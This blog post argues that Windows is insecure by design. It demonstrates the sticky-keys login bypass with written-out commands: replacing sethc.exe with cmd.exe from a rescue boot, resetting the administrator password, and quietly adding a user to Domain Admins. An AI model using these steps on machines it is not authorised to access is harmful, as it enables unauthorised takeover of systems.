August 25, 2020 | 08:00

Windows is broken by design

Feedbacks to my recently written blog “Working in Homeoffice Part I”:

No Tomas, you can’t say you believe Windows is broken by design, bashing everybody up in the face.


It’s not that simple getting privileges on windows computers.

Well, how to put it right? Perhaps by explaining how easy and quickly you can become an administrator on Windows 7 or Windows 2008R2 server? Without knowledge of any login data at all?

  • Booting with WinPE Medium or into the rescue console
  • identify the correct system partition with diskpart
  • Copy cmd.exe into sethc.exe with a one-liner and confirm the security query with Y(es):
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe 

After rebooting the system, simply press the Shift key 5x times and confirm the prompt with Yes. Voila, we are back in the game standing at 5:1 in the 85th minute:

cmd.exe aka sethc.exe in action

We’re just one line away from the administrator’s password:

net user administrator YOURNEWPASSWORDHERE

Which would be rather “noisy” from a hacker’s perspective. Better create an unimpressive user and push him directly into one of the admin groups:

net user mueller YOURNEWPASSWORDHERE /add
net group "Domain Admins" mueller /add

The worst thing about this: It is neither new nor unknown. The fundamental logic behind has been the same for 25 years: Just replace anything with the CMD.EXE (COMMAND.COM also worked). In NT4 it was the LOGON screensaver, with XP the on-screen keyboard, with Win7 and 2008 as seen above SETHC.EXE, with Windows 2012 Server it’s UTILMAN.EXE, with Windows 10 and 2016 Server it is a bit more complicated but still basically same in principle. And no, I won’t reveal that here ;-)

Other systems ask for encryption during installation, Windows requires manual and complicated activation though. The result: Nobody does.

This is why I consider Windows as broken by design. It trains its users and in the end all those typical Windows administrators to mediocrity.

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